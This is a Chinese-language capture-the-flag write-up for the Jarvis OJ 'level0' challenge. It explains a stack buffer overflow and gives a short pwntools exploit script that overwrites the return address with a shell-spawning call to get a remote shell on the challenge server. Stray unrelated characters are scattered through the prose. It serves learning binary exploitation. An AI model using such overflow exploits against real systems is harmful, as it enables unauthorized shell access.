0x00 已知條件
nc pwn2.jarvisoj.com 9881
給了遠(yuǎn)端url和端口痊远,nc過去發(fā)現(xiàn)輸出了一行“Hello, World!”。
下載了給的文件“l(fā)elvel0”焚鲜,IDA看源碼。
0x01 思考過程
總的來說這部分就看逆向了放前,得出結(jié)論是一個(gè)典型棧溢出忿磅。
這是main函數(shù)里明明白白寫著名字叫 vulnerable_function:) 的棧,而調(diào)bash的系統(tǒng)調(diào)用就在它上面一點(diǎn)凭语。
下面很顯然要一路填充payload葱她,直到恰好用那個(gè)系統(tǒng)調(diào)用函數(shù)的地址覆蓋掉返回地址 retn。
image.png
0x02 EXP
這部分就完全沒接觸過了似扔,學(xué)人家的吧览效。了解了pwntools這個(gè)工具,大大減少了寫EXP的工作量虫几。
至少知道文件描述符fd(File descriptor)很重要锤灿,詳見Linux文件描述符。
而且vulnerable_function也調(diào)用了read函數(shù)辆脸,fd為1但校,標(biāo)準(zhǔn)輸出(默認(rèn)模式器設(shè)備)。
[python]
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com", 9881) # set remote server as 'sh'
junk = 'a' * 0x80 # infillings, including 8B for rbp in stack
replace_rbp = 'a' * 0x8
syscall = 0x0000000000400596
payload = junk + replace_rbp + p64(syscall)
sh.send(payload) # send payload for stuff
sh.interactive()
- 在正確溢出返回地址啡氢、調(diào)用sh.interactive()開啟交互后状囱,得到了遠(yuǎn)端的shell,找一下flag文件即可倘是。